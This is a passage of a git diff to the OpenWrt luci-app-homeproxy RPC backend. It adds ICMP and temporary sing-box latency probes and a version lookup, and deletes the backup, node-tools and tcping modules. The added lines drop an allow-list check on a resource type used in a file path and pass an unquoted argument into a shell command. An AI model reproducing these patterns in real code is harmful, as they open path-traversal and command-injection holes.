node); + if (!section || section['.type'] !== 'node') + return formatResult(node, 'error', null, { + code: error_codes.invalid_node, + message: 'node section does not exist or is not a node section' + }); + + const address = trim(section.address || ''); + const port = int(section.port || '0'); + if (!address || port <= 0 || port > 65535) + return formatResult(node, 'error', null, { + code: error_codes.invalid_node, + message: 'node address or port is invalid' + }); + + if (mode === 'rp') { + let runtime_meta = null; + let runtime_active = false; + let runtime_info = { + runtime_root: RUN_DIR + '/latency-test', + session_dir: null, + config_path: null, + pid_path: null, + controller: null, + launched: false, + controller_ready: false, + cleaned_up: false + }; + + runtime_meta = buildProbeRuntime(node, section); + if (runtime_meta?.error) + runtime_info.cleaned_up = true; + + if (runtime_meta?.error) + return formatResult(node, 'error', null, { + code: runtime_meta.code || error_codes.rp_runtime_prepare_failed, + message: runtime_meta.error + }, { + rp_runtime: runtime_info + }); + + runtime_info.session_dir = runtime_meta.session_dir; + runtime_info.config_path = runtime_meta.config_path; + runtime_info.pid_path = runtime_meta.pid_path; + runtime_info.controller = `127.0.0.1:${runtime_meta.controller_port}`; + runtime_active = true; + + const finalizeRealProxyResult = (state, latency_ms, err) => { + if (runtime_active && runtime_meta) { + cleanupProbeRuntime(runtime_meta); + runtime_active = false; + runtime_info.cleaned_up = true; + } + + return formatResult(node, state, latency_ms, err, { + rp_runtime: runtime_info + }); + }; + + try { + if (!launchProbeRuntime(runtime_meta)) + return finalizeRealProxyResult('error', null, { + code: error_codes.rp_runtime_launch_failed, + message: 'failed to launch temporary sing-box runtime' + }); + + runtime_info.launched = true; + + if (!waitControllerReady(runtime_meta, rp_delay_timeout_ms)) + return finalizeRealProxyResult('timeout', null, { + code: error_codes.rp_runtime_timeout, + message: 'temporary sing-box runtime controller did not become ready in time' + }); + + runtime_info.controller_ready = true; + const delay_result = probeRealProxyDelay(runtime_meta, node); + if (delay_result.state === 'success' && delay_result.latency_ms > 0) + return finalizeRealProxyResult('success', delay_result.latency_ms, null); + + if (delay_result.state === 'timeout') + return finalizeRealProxyResult('timeout', null, delay_result.error || { + code: error_codes.rp_delay_timeout, + message: sprintf('temporary Clash API delay request timed out after %dms', rp_delay_timeout_ms) + }); + + return finalizeRealProxyResult('error', null, delay_result.error || { + code: error_codes.rp_delay_failed, + message: sprintf('temporary Clash API delay probe failed for %s', rp_probe_url) + }); + } catch (e) { + return finalizeRealProxyResult('error', null, { + code: error_codes.backend_execution_failed, + message: 'unexpected backend error while handling temporary rp runtime' + }); + } + } + + const ping = access('/bin/ping') ? '/bin/ping' : (access('/usr/bin/ping') ? '/usr/bin/ping' : null); + + const runProbe = (command, timeout_ms) => { + const started_ms = monotonicMs(); + const probe_exit = system(command, timeout_ms); + const ended_ms = monotonicMs(); + let latency_ms = null; + if (started_ms !== null && ended_ms !== null && ended_ms >= started_ms) + latency_ms = ended_ms - started_ms; + return { probe_exit, latency_ms }; + }; + + let icmp_latency_ms = null; + let icmp_error = null; + + if (!ping) { + icmp_error = { + code: error_codes.icmp_probe_unavailable, + message: 'missing ping executable for ICMP probe' + }; + } + else { + const result = runProbe( + `${ping} -c 1 -W ${probe_timeout_s} ${shellquote(address)} >/dev/null 2>/dev/null`, + probe_system_timeout_ms + ); + + if (result.probe_exit === 0) + icmp_latency_ms = (result.latency_ms !== null) ? result.latency_ms : 0; + else if (result.probe_exit === -1 || (result.latency_ms !== null && result.latency_ms >= probe_timeout_ms)) + icmp_error = { + code: error_codes.icmp_timeout, + message: `ICMP ping timeout after ${probe_timeout_s}s` + }; + else if (result.probe_exit === 127) + icmp_error = { + code: error_codes.backend_execution_failed, + message: 'ICMP ping command execution failed' + }; + else + icmp_error = { + code: error_codes.icmp_failed, + message: `ICMP ping failed with exit code ${result.probe_exit}` + }; + } + + if (icmp_latency_ms !== null) + return formatResult(node, 'success', icmp_latency_ms, null, { + icmp_latency_ms, + icmp_error + }); + + if (icmp_error?.code === error_codes.icmp_timeout) + return formatResult(node, 'timeout', null, { + code: error_codes.probe_timeout, + message: `ICMP probe timed out after ${probe_timeout_s}s` + }, { + icmp_latency_ms, + icmp_error + }); + + return formatResult(node, 'error', null, icmp_error || { + code: error_codes.probe_failed, + message: 'ICMP probe failed' + }, { + icmp_latency_ms, + icmp_error + }); } }, @@ -150,6 +1309,10 @@ const methods = { const filestat = lstat(`${RUN_DIR}/${req.args?.type}.log`); if (filestat) writefile(`${RUN_DIR}/${req.args?.type}.log`, ''); + else { + system(`mkdir -p ${RUN_DIR}`); + writefile(`${RUN_DIR}/${req.args?.type}.log`, ''); + } return { result: true }; } }, @@ -163,7 +1326,7 @@ const methods = { const type = req.args?.type; let result = {}; - const fd = popen('/usr/bin/sing-box generate ' + type + ' ' + shellquote(req.args?.params || '')); + const fd = popen(`/usr/bin/sing-box generate ${type} ${shellquote(req.args?.params || '')}`); if (fd) { let ech_cfg_set = false; let ech_key_set = false; @@ -231,16 +1394,65 @@ const methods = { } }, + package_get_version: { + call: function() { + let version = trim(readfile('/usr/share/homeproxy/version') || ''); + + if (!version) { + const status = readfile('/usr/lib/opkg/status'); + let in_package = false; + + if (status) { + const lines = split(status, '\n'); + for (let i = 0; i < length(lines); i++) { + let line = lines[i]; + line = trim(line); + + if (!line) { + in_package = false; + continue; + } + + if (line == 'Package: luci-app-homeproxy') { + in_package = true; + continue; + } + + if (in_package) { + let matched = match(line, /^Version: (.*)/); + if (matched) { + version = matched[1]; + break; + } + } + } + } + } + + if (!version) { + const fd = popen('/usr/bin/opkg status luci-app-homeproxy 2>/dev/null'); + if (fd) { + for (let line = fd.read('line'); length(line); line = fd.read('line')) { + let matched = match(trim(line), /^Version: (.*)/); + if (matched) { + version = matched[1]; + break; + } + } + + fd.close(); + } + } + + return { version: version || '-' }; + } + }, + resources_get_version: { args: { type: 'type' }, call: function(req) { - const allowed_types = [ 'china_ip4', 'china_ip6', 'china_list', 'gfw_list' ]; - - if (index(allowed_types, req.args?.type) === -1) - return { version: null, error: 'invalid resource type' }; - - const version = trim(readfile(`${HP_DIR}/resources/${req.args?.type}.ver`) || ''); - return { version, error: error() }; + const version = trim(readfile(`${HP_DIR}/resources/${req.args?.type}.ver`)); + return { version: version, error: error() }; } }, resources_update: { diff --git a/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_backup b/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_backup deleted file mode 100644 index 40f6ca49f..000000000 --- a/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_backup +++ /dev/null @@ -1,553 +0,0 @@ -#!/usr/bin/ucode -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy 备份和恢复 RPC。 - */ - -'use strict'; - -import { lstat, popen, readfile, stat, writefile } from 'fs'; -import { cursor } from 'uci'; -import { - local_ipv4_addresses, - normalize_local_controller_option -} from '/etc/homeproxy/scripts/clash_api.uc'; - -function shellquote(s) { - return `'${replace(s, "'", "'\\''")}'`; -} - -const HP_DIR = '/etc/homeproxy'; -const RUN_DIR = '/var/run/homeproxy'; - -function commandOutput(command) { - const fd = popen(`${command} 2>&1`); - let out = ''; - - if (fd) { - for (let line = fd.read('line'); length(line); line = fd.read('line')) - out += line; - - fd.close(); - } - - return out; -} - -function generateTempSuffix() { - let suffix = trim(commandOutput("hexdump -n 8 -e '1/1 \"%02x\"' /dev/urandom 2>/dev/null")); - - if (!match(suffix, /^[a-f0-9]{16}$/)) - suffix = replace(trim(commandOutput('date +%s 2>/dev/null')), /[^a-f0-9]/g, ''); - - return suffix; -} - -function createWorkDir() { - const work_dir = '/tmp/homeproxy-work-' + generateTempSuffix(); - system(`mkdir -p ${shellquote(work_dir)} && chmod 700 ${shellquote(work_dir)}`); - return work_dir; -} - -let BACKUP_ARCHIVE = '/tmp/homeproxy-backup-' + generateTempSuffix() + '.tar.gz'; - -function isEmpty(value) { - return !value || value === 'nil' || (type(value) in ['array', 'object'] && length(value) === 0); -} - -function normalizeRestoredLocalControllers() { - let local_addresses = local_ipv4_addresses(commandOutput); - let fallback_host = local_addresses[0]; - - if (isEmpty(fallback_host)) - return {}; - - const hpuci = cursor(); - let adjustments = {}; - - hpuci.load('homeproxy'); - - for (let item in [ - [ 'clash_api_proxy_external_controller', 9091, false ] - ]) { - let next = normalize_local_controller_option(hpuci, 'homeproxy', 'config', - local_addresses, fallback_host, item[0], item[1], item[2]); - - if (next) - adjustments[item[0]] = next; - } - - if (length(keys(adjustments))) - hpuci.commit('homeproxy'); - - return adjustments; -} - -function restoredServiceExpectations() { - const hpuci = cursor(); - hpuci.load('homeproxy'); - - const main_node = hpuci.get('homeproxy', 'config', 'main_node') || 'nil', - default_outbound = hpuci.get('homeproxy', 'routing', 'default_outbound') || 'nil', - outbound_node = isEmpty(main_node) ? default_outbound : main_node, - server_enabled = hpuci.get('homeproxy', 'server', 'enabled') || '0'; - - return { - client: !isEmpty(outbound_node), - server: server_enabled === '1' - }; -} - -function checkSingBoxRuntimeConfig(path, label) { - const config = stat(path); - - if (!config || config.type !== 'file' || config.size <= 0) - return `${label}运行配置未生成`; - - if (system(`/usr/bin/sing-box check --config ${shellquote(path)} >/dev/null 2>&1`) !== 0) - return `${label}运行配置校验失败`; - - return null; -} - -function validateRestoredService() { - const expected = restoredServiceExpectations(); - - if (expected.client) { - let error = checkSingBoxRuntimeConfig(`${RUN_DIR}/sing-box-c.json`, '客户端'); - if (error) - return { result: false, error }; - } - - if (expected.server) { - let error = checkSingBoxRuntimeConfig(`${RUN_DIR}/sing-box-s.json`, '服务端'); - if (error) - return { result: false, error }; - } - - if (expected.client || expected.server) { - const status = commandOutput('/etc/init.d/homeproxy status'); - - if (match(status, /active with no instances/)) - return { result: false, error: 'HomeProxy 服务未启动任何实例' }; - - if (system('/etc/init.d/homeproxy status >/dev/null 2>&1') !== 0) - return { result: false, error: 'HomeProxy 服务状态异常' }; - } - - return { result: true }; -} - -function archiveMemberPath(line) { - line = trim(line || ''); - if (!line) - return null; - - let matchPath = match(line, /^[^ \t]+[ \t]+[^ \t]+[ \t]+[^ \t]+[ \t]+[^ \t]+[ \t]+[^ \t]+[ \t]+(.+)$/); - let path = matchPath ? matchPath[1] : line; - - path = replace(path, /^\.\//, ''); - path = replace(path, /^\/+/, ''); - - return path; -} - -function allowedBackupPath(path) { - if (!path || match(path, /(^|\/)\.\.(\/|$)/) || match(path, /^etc\/homeproxy\/certs\/.*\//)) - return false; - - return ( - path === 'etc/config/homeproxy' || - path === 'etc/homeproxy/resources/direct_list.txt' || - path === 'etc/homeproxy/resources/proxy_list.txt' || - match(path, /^etc\/homeproxy\/certs\/[^\/]+$/) - ); -} - -function validateBackupArchive(path) { - const filestat = lstat(path); - - if (!filestat || filestat.type !== 'file' || filestat.size <= 0) - return { valid: false, error: '备份文件不存在或内容为空' }; - - const fd = popen(`/bin/tar -tvzf ${shellquote(path)} 2>&1`); - let files = [], errors = []; - - if (!fd) - return { valid: false, error: '无法运行 tar 检查备份文件' }; - - for (let line = fd.read('line'); length(line); line = fd.read('line')) { - let path = archiveMemberPath(line); - if (!path) - continue; - - let mode = match(line, /^([^ \t]+)/); - if (mode && substr(mode[1], 0, 1) !== '-') { - errors = [ ...errors, `备份文件内包含不支持的条目类型: ${path}` ]; - continue; - } - - if (path === 'homeproxy-backup-manifest.json') - continue; - - if (!allowedBackupPath(path)) - errors = [ ...errors, `备份文件内包含不支持的路径: ${path}` ]; - else - files = [ ...files, path ]; - } - - fd.close(); - - if (length(errors)) - return { valid: false, error: join('\n', errors), files }; - - if (index(files, 'etc/config/homeproxy') === -1) - return { valid: false, error: '备份文件缺少 etc/config/homeproxy', files }; - - return { valid: true, files }; -} - -function createBackupArchive(path) { - let files = []; - - if (stat('/etc/config/homeproxy')?.type === 'file') - files = [ ...files, 'etc/config/homeproxy' ]; - - if (stat(`${HP_DIR}/resources/direct_list.txt`)?.type === 'file') - files = [ ...files, 'etc/homeproxy/resources/direct_list.txt' ]; - - if (stat(`${HP_DIR}/resources/proxy_list.txt`)?.type === 'file') - files = [ ...files, 'etc/homeproxy/resources/proxy_list.txt' ]; - - const certs = commandOutput(`[ -d /etc/homeproxy/certs ] && find /etc/homeproxy/certs -maxdepth 1 -type f -print || true`); - for (let file in split(trim(certs), /\n/)) { - file = archiveMemberPath(file); - if (allowedBackupPath(file)) - files = [ ...files, file ]; - } - - if (!length(files)) - return { result: false, error: '没有可备份的 HomeProxy 文件' }; - - const work_dir = createWorkDir(); - const staging_root = `${work_dir}/staging`; - system(`mkdir -p ${shellquote(staging_root)}`); - - for (let file in files) { - let src = '/' + file; - let dst = `${staging_root}/${file}`; - let dst_dir = match(dst, /^(.*)\/[^\/]+$/); - - if (dst_dir && dst_dir[1]) - system(`mkdir -p ${shellquote(dst_dir[1])}`); - - let exit_code = system(`cp ${shellquote(src)} ${shellquote(dst)}`); - if (exit_code !== 0) { - system(`rm -rf ${shellquote(work_dir)}`); - return { result: false, error: `复制文件失败: ${file}` }; - } - } - - let manifest = {}; - for (let file in files) { - let fullpath = `${staging_root}/${file}`; - let filestat = stat(fullpath); - if (filestat?.type === 'file') { - let hash = trim(commandOutput(`sha256sum ${shellquote(fullpath)} 2>/dev/null | awk '{print $1}'`)); - manifest[file] = { - size: filestat.size, - sha256: hash - }; - } - } - - const manifest_file = `${staging_root}/homeproxy-backup-manifest.json`; - writefile(manifest_file, sprintf('%J', manifest)); - - const backup_list = `${work_dir}/backup.list`; - let all_files = [ ...files, 'homeproxy-backup-manifest.json' ]; - writefile(backup_list, join('\n', all_files) + '\n'); - - const temp_tar = `${work_dir}/archive.tar`; - const temp_gz = `${work_dir}/archive.tar.gz`; - let exit_code = system(`cd ${shellquote(staging_root)} && umask 077 && /bin/tar -cf ${shellquote(temp_tar)} -T ${shellquote(backup_list)}`); - - if (exit_code !== 0) { - system(`rm -rf ${shellquote(work_dir)}`); - return { result: false, error: `tar 打包失败,退出码 ${exit_code}` }; - } - - exit_code = system(`umask 077 && gzip -c ${shellquote(temp_tar)} > ${shellquote(temp_gz)}`); - if (exit_code !== 0) { - system(`rm -rf ${shellquote(work_dir)}`); - return { result: false, error: `压缩失败,退出码 ${exit_code}` }; - } - - system(`rm -f ${shellquote(path)}`); - exit_code = system(`umask 077 && mv ${shellquote(temp_gz)} ${shellquote(path)} && chmod 600 ${shellquote(path)}`); - system(`rm -rf ${shellquote(work_dir)}`); - - if (exit_code !== 0) { - system(`rm -f ${shellquote(path)}`); - return { result: false, error: `生成备份文件失败,退出码 ${exit_code}` }; - } - - const archive = lstat(path); - if (!archive || archive.type !== 'file' || archive.size <= 0) - return { result: false, error: '备份文件未成功生成' }; - - return { - result: true, - path, - size: archive.size, - files - }; -} - -function testExtractBackupArchive(path) { - const restore_test_dir = createWorkDir(); - let exit_code = system(`cd ${shellquote(restore_test_dir)} && /bin/tar -xzf ${shellquote(path)} 2>/dev/null`); - - if (exit_code !== 0) { - system(`rm -rf ${shellquote(restore_test_dir)}`); - return { result: false, error: `备份文件损坏,无法完整解压,退出码 ${exit_code}` }; - } - - const manifest_path = `${restore_test_dir}/homeproxy-backup-manifest.json`; - const manifest_content = readfile(manifest_path); - - if (!manifest_content) { - system(`rm -rf ${shellquote(restore_test_dir)}`); - return { result: false, error: '备份文件缺少完整性清单(homeproxy-backup-manifest.json)' }; - } - - let manifest = {}; - try { - manifest = json(manifest_content); - } catch (e) { - system(`rm -rf ${shellquote(restore_test_dir)}`); - return { result: false, error: '备份清单格式错误' }; - } - - for (let file in manifest) { - if (file === 'homeproxy-backup-manifest.json') { - system(`rm -rf ${shellquote(restore_test_dir)}`); - return { result: false, error: 'manifest 不能包含自身作为恢复目标' }; - } - - if (!allowedBackupPath(file)) { - system(`rm -rf ${shellquote(restore_test_dir)}`); - return { result: false, error: `manifest 包含不允许的路径: ${file}` }; - } - - let fullpath = `${restore_test_dir}/${file}`; - let filestat = stat(fullpath); - - if (!filestat || filestat.type !== 'file') { - system(`rm -rf ${shellquote(restore_test_dir)}`); - return { result: false, error: `备份文件缺失: ${file}` }; - } - - if (filestat.size !== manifest[file].size) { - system(`rm -rf ${shellquote(restore_test_dir)}`); - return { result: false, error: `备份文件大小不匹配: ${file}` }; - } - - let hash = trim(commandOutput(`sha256sum ${shellquote(fullpath)} 2>/dev/null | awk '{print $1}'`)); - if (hash !== manifest[file].sha256) { - system(`rm -rf ${shellquote(restore_test_dir)}`); - return { result: false, error: `备份文件校验和不匹配: ${file}` }; - } - } - - const fd = popen(`/bin/tar -tzf ${shellquote(path)} 2>&1`); - if (fd) { - for (let line = fd.read('line'); length(line); line = fd.read('line')) { - let archive_path = archiveMemberPath(line); - - if (!archive_path || archive_path === 'homeproxy-backup-manifest.json') - continue; - - if (allowedBackupPath(archive_path) && !manifest[archive_path]) { - fd.close(); - system(`rm -rf ${shellquote(restore_test_dir)}`); - return { result: false, error: `归档中存在未记录的可恢复文件: ${archive_path}` }; - } - } - fd.close(); - } - - return { result: true, manifest: manifest, work_dir: restore_test_dir }; -} - -function resetBackupTargetPaths() { - system('rm -f /etc/config/homeproxy /etc/homeproxy/resources/direct_list.txt /etc/homeproxy/resources/proxy_list.txt'); - system('rm -rf /etc/homeproxy/certs && mkdir -p /etc/homeproxy/resources /etc/homeproxy/certs'); -} - -function extractBackupArchive(work_dir, manifest) { - resetBackupTargetPaths(); - - for (let file in manifest) { - let src = `${work_dir}/${file}`; - let dst = `/${file}`; - let dst_dir = match(dst, /^(.*)\/[^\/]+$/); - - if (dst_dir && dst_dir[1]) - system(`mkdir -p ${shellquote(dst_dir[1])}`); - - let exit_code = system(`cp ${shellquote(src)} ${shellquote(dst)}`); - if (exit_code !== 0) - return exit_code; - - if (match(file, /^etc\/homeproxy\/certs\/[^\/]+$/)) - system(`chmod 600 ${shellquote(dst)}`); - else if (file === 'etc/config/homeproxy') - system(`chmod 600 ${shellquote(dst)}`); - else - system(`chmod 644 ${shellquote(dst)}`); - } - - return 0; -} - -const methods = { - backup_create: { - call: function() { - BACKUP_ARCHIVE = '/tmp/homeproxy-backup-' + generateTempSuffix() + '.tar.gz'; - let result = createBackupArchive(BACKUP_ARCHIVE); - if (result.result) - result.download_path = BACKUP_ARCHIVE; - return result; - } - }, - backup_get_upload_path: { - call: function() { - const upload_path = '/tmp/homeproxy-restore-' + generateTempSuffix() + '.tar.gz'; - return { upload_path: upload_path }; - } - }, - backup_cleanup: { - args: { path: 'path' }, - call: function(req) { - const path = req.args?.path; - - if (!path || !match(path, /^\/tmp\/homeproxy-(backup|restore)-[a-f0-9]+\.tar\.gz$/)) - return { result: false, error: '无效的临时文件路径' }; - - system(`rm -f ${shellquote(path)}`); - return { result: true }; - } - }, - backup_validate: { - args: { path: 'path' }, - call: function(req) { - const path = req.args?.path; - - if (!path || !match(path, /^\/tmp\/homeproxy-restore-[a-f0-9]+\.tar\.gz$/)) - return { valid: false, error: '无效的备份文件路径' }; - - const check = validateBackupArchive(path); - if (!check.valid) - return check; - - const integrity = testExtractBackupArchive(path); - if (integrity.work_dir) - system(`rm -rf ${shellquote(integrity.work_dir)}`); - if (!integrity.result) - return { valid: false, error: integrity.error, files: check.files }; - - return check; - } - }, - backup_restore: { - args: { path: 'path' }, - call: function(req) { - const restore_path = req.args?.path; - - if (!restore_path) - return { result: false, error: '缺少备份文件路径,请重新上传并验证备份文件' }; - - if (!match(restore_path, /^\/tmp\/homeproxy-restore-[a-f0-9]+\.tar\.gz$/)) - return { result: false, error: '无效的备份文件路径' }; - - const check = validateBackupArchive(restore_path); - - if (!check.valid) - return { result: false, error: check.error, files: check.files }; - - const extract_check = testExtractBackupArchive(restore_path); - if (!extract_check.result) - return { result: false, error: extract_check.error, files: check.files }; - - const manifest = extract_check.manifest; - const work_dir = extract_check.work_dir; - - const rollback_archive = '/tmp/homeproxy-rollback-' + generateTempSuffix() + '.tar.gz'; - const rollback = createBackupArchive(rollback_archive); - if (!rollback.result) { - system(`rm -rf ${shellquote(work_dir)}`); - return { result: false, error: `创建回滚包失败: ${rollback.error}` }; - } - - const rollback_extract_check = testExtractBackupArchive(rollback_archive); - if (!rollback_extract_check.result) { - system(`rm -rf ${shellquote(work_dir)}`); - return { result: false, error: `回滚包校验失败: ${rollback_extract_check.error}` }; - } - - const rollback_manifest = rollback_extract_check.manifest; - const rollback_work_dir = rollback_extract_check.work_dir; - - let exit_code = extractBackupArchive(work_dir, manifest); - - if (exit_code !== 0) { - system(`rm -rf ${shellquote(work_dir)}`); - let rollback_code = extractBackupArchive(rollback_work_dir, rollback_manifest); - system(`rm -rf ${shellquote(rollback_work_dir)}`); - system('/sbin/uci commit homeproxy'); - system('/etc/init.d/homeproxy restart >/dev/null 2>&1'); - - if (rollback_code === 0) - return { result: false, error: `恢复失败,已自动回滚,退出码 ${exit_code}`, rollback: rollback_archive }; - - return { result: false, error: `恢复失败且自动回滚失败,恢复退出码 ${exit_code},回滚退出码 ${rollback_code}`, rollback: rollback_archive }; - } - - system(`ucode ${HP_DIR}/scripts/migrate_config.uc >/dev/null 2>&1`); - - let adjustments = normalizeRestoredLocalControllers(); - system('/sbin/uci commit homeproxy'); - system(`rm -f ${shellquote(restore_path)} /tmp/luci-indexcache.*`); - system('rm -rf /tmp/luci-modulecache/ 2>/dev/null'); - system('/etc/init.d/homeproxy restart >/dev/null 2>&1'); - - sleep(2000); - let service_check = validateRestoredService(); - - if (!service_check.result) { - let rollback_code = extractBackupArchive(rollback_work_dir, rollback_manifest); - system(`rm -rf ${shellquote(work_dir)} ${shellquote(rollback_work_dir)}`); - system('/sbin/uci commit homeproxy'); - system('/etc/init.d/homeproxy restart >/dev/null 2>&1'); - - if (rollback_code === 0) - return { result: false, error: `${service_check.error},已自动回滚`, rollback: rollback_archive }; - - return { result: false, error: `${service_check.error},且自动回滚失败`, rollback: rollback_archive }; - } - - system(`rm -rf ${shellquote(work_dir)} ${shellquote(rollback_work_dir)}`); - - return { - result: true, - files: check.files, - rollback: rollback_archive, - adjustments - }; - } - } -}; - -return { 'luci.homeproxy_backup': methods }; diff --git a/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_node_tools b/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_node_tools deleted file mode 100644 index 4031d11b6..000000000 --- a/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_node_tools +++ /dev/null @@ -1,270 +0,0 @@ -#!/usr/bin/ucode -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy 节点和订阅 helper RPC。 - */ - -'use strict'; - -import { readfile, writefile } from 'fs'; -import { cursor } from 'uci'; -import { - node_filter_compile, - expand_node_filter, - preview_manual_node_allowed -} from '/etc/homeproxy/scripts/node_filter.uc'; -import { - collect_node_references, - remove_subscription_nodes -} from '/etc/homeproxy/scripts/node_references.uc'; -import { first_value } from '/etc/homeproxy/scripts/clash_api.uc'; - -function shellquote(s) { - return `'${replace(s, "'", "'\\''")}'`; -} - -const HP_DIR = '/etc/homeproxy'; -const RUN_DIR = '/var/run/homeproxy'; -const CONFIG_DIAGNOSTICS = `${RUN_DIR}/config-diagnostics.json`; -const SUBSCRIPTION_DIAGNOSTICS = `${RUN_DIR}/subscription-diagnostics.json`; -const SUBSCRIPTION_UPDATE_STATUS = `${RUN_DIR}/subscription-update-status.json`; -const MAX_NODE_IDS = 1000; -const MAX_NODE_ID_LEN = 128; - -function isEmpty(value) { - return !value || value === 'nil' || (type(value) in ['array', 'object'] && length(value) === 0); -} - -function readDiagnostics(path) { - let content = readfile(path); - - if (!content) - return { result: true, time: null, items: [] }; - - try { - let payload = json(content); - return { - result: true, - time: payload.time, - items: payload.items || [] - }; - } catch (e) { - return { result: false, error: '诊断文件格式错误' }; - } -} - -function combinedDiagnostics() { - let items = [], - latest_time = null; - - for (let path in [ CONFIG_DIAGNOSTICS, SUBSCRIPTION_DIAGNOSTICS ]) { - let payload = readDiagnostics(path); - if (!payload.result) - return payload; - - if (payload.time && (!latest_time || payload.time > latest_time)) - latest_time = payload.time; - - for (let item in payload.items) - push(items, item); - } - - return { - result: true, - time: latest_time, - items - }; -} - -function readSubscriptionUpdateStatus() { - let content = readfile(SUBSCRIPTION_UPDATE_STATUS); - - if (!content) { - return { - result: true, - running: false, - completed: false, - update_result: null, - error: null, - time: null - }; - } - - try { - let payload = json(content); - return { - result: true, - running: !!payload.running, - completed: !!payload.completed, - update_result: payload.update_result, - error: payload.error, - time: payload.time - }; - } catch (e) { - return { result: false, error: '订阅更新状态文件格式错误' }; - } -} - -function writeSubscriptionUpdateStatus(payload) { - system(`mkdir -p ${shellquote(RUN_DIR)}`); - writefile(SUBSCRIPTION_UPDATE_STATUS, sprintf('%.J\n', payload)); -} - -function validNodeId(node_id) { - return type(node_id) === 'string' && - length(node_id) > 0 && - length(node_id) <= MAX_NODE_ID_LEN && - match(node_id, /^[A-Za-z0-9_]+$/); -} - -function validateNodeIds(node_ids) { - if (type(node_ids) !== 'array') - return { result: false, error: 'illegal node_ids' }; - - if (length(node_ids) > MAX_NODE_IDS) - return { result: false, error: 'too many node_ids' }; - - for (let node_id in node_ids) - if (!validNodeId(node_id)) - return { result: false, error: 'illegal node id' }; - - return { result: true }; -} - -function expandNodeFilterPreview(manual_nodes, node_filter, node_filter_exclude, node_mode) { - const hpuci = cursor(); - hpuci.load('homeproxy'); - - return expand_node_filter({ - uci: hpuci, - config: 'homeproxy', - node_type: 'node', - allow_manual_node: (node_id) => preview_manual_node_allowed(hpuci, 'homeproxy', node_id, node_mode) - }, manual_nodes, node_filter, node_filter_exclude); -} - -const methods = { - config_diagnostics: { - args: {}, - call: function(_req) { - return combinedDiagnostics(); - } - }, - update_subscriptions_status: { - args: {}, - call: function(_req) { - return readSubscriptionUpdateStatus(); - } - }, - validate_regex: { - args: { pattern: 'pattern' }, - call: function(req) { - const pattern = first_value(req.args?.pattern); - const validated = node_filter_compile(pattern); - - if (!validated.result) - return { result: false, error: validated.error, limits: validated.limits }; - - return { result: true, limits: validated.limits }; - } - }, - preview_node_filter: { - args: { manual_nodes: [], node_filter: 'node_filter', node_filter_exclude: 'node_filter_exclude', node: 'node' }, - call: function(req) { - return expandNodeFilterPreview( - req.args?.manual_nodes, - first_value(req.args?.node_filter), - first_value(req.args?.node_filter_exclude), - first_value(req.args?.node) - ); - } - }, - node_references: { - args: { node_id: 'node_id' }, - call: function(req) { - const node_id = first_value(req.args?.node_id); - - if (!validNodeId(node_id)) - return { result: false, error: 'illegal node_id' }; - - const hpuci = cursor(); - hpuci.load('homeproxy'); - - return { - result: true, - node_id: node_id, - references: collect_node_references(hpuci, 'homeproxy', node_id) - }; - } - }, - remove_subscription_nodes: { - args: { node_ids: [] }, - call: function(req) { - const checked = validateNodeIds(req.args?.node_ids); - if (!checked.result) - return checked; - - const hpuci = cursor(); - hpuci.load('homeproxy'); - - let result = remove_subscription_nodes(hpuci, 'homeproxy', req.args.node_ids); - hpuci.commit('homeproxy'); - - return { - result: true, - removed: result.removed, - changed: result.changed, - changes: result.changes, - main_node_fallback: result.main_node_fallback, - main_udp_fallback: result.main_udp_fallback - }; - } - }, - update_subscriptions: { - args: {}, - call: function(_req) { - const status = readSubscriptionUpdateStatus(); - if (!status.result) - return status; - - if (status.running) { - return { - result: false, - error: '订阅更新正在进行中,请稍候。' - }; - } - - writeSubscriptionUpdateStatus({ - time: time(), - running: true, - completed: false, - update_result: null, - error: null - }); - - const exit_code = system(`(${HP_DIR}/scripts/update_subscriptions.uc /dev/null 2>&1) &`); - if (exit_code !== 0) { - writeSubscriptionUpdateStatus({ - time: time(), - running: false, - completed: true, - update_result: false, - error: '启动订阅更新失败,请查看 HomeProxy 日志。' - }); - - return { - result: false, - error: '启动订阅更新失败,请查看 HomeProxy 日志。' - }; - } - - return { - result: true, - started: true - }; - } - } -}; - -return { 'luci.homeproxy_node_tools': methods }; diff --git a/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_tcping b/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_tcping deleted file mode 100644 index a1fc64ce0..000000000 --- a/luci-app-homeproxy/root/usr/share/rpcd/ucode/luci.homeproxy_tcping +++ /dev/null @@ -1,416 +0,0 @@ -#!/usr/bin/ucode -'use strict'; - -import { popen, readfile } from 'fs'; -import { cursor } from 'uci'; -import { urlencode } from 'luci.http'; - -import { build_outbound_tag_map, get_outbound_tag } from '/etc/homeproxy/scripts/outbound_tag.uc'; -import { parse_controller } from '/etc/homeproxy/scripts/clash_api.uc'; - -const TCPING_MAX_NODES = 300; -const SECTION_MAX_LEN = 128; -const BATCH_SIZE = 50; -const TCPING_COOLDOWN = 3; -const DELAY_TIMEOUT = 5000; -const FETCH_TIMEOUT = 30000; -const DELAY_TEST_URL = 'https://www.gstatic.com/generate_204'; - -let last_tcping_at = 0; - -// urlencode() 只负责 URL/path 编码,不能作为 shell 注入防护;所有进入 shell 命令的动态值都必须继续经过 shellquote()。 -function shellquote(s) { - return `'${replace(s, "'", "'\\''")}'`; -} - -function pathSegment(value) { - return replace(urlencode(value), /\+/g, '%20'); -} - -function controllerBase(hpuci) { - let controller = parse_controller( - hpuci.get('homeproxy', 'config', 'clash_api_external_controller') || '127.0.0.1:9090', - 9090 - ); - let port_num = controller.port || 9090; - - if (port_num < 1 || port_num > 65535) - return null; - - return 'http://127.0.0.1:' + port_num; -} - -function clashApiGet(hpuci, path, timeout) { - let timeout_sec = int(((timeout || FETCH_TIMEOUT) + 999) / 1000), - controller = controllerBase(hpuci), - secret = hpuci.get('homeproxy', 'config', 'clash_api_secret') || ''; - - if (!controller) - return {}; - - let command = sprintf('/usr/bin/wget -qO- -T %d --no-proxy %s %s', - timeout_sec, - secret ? sprintf('--header %s', shellquote('Authorization: Bearer ' + secret)) : '', - 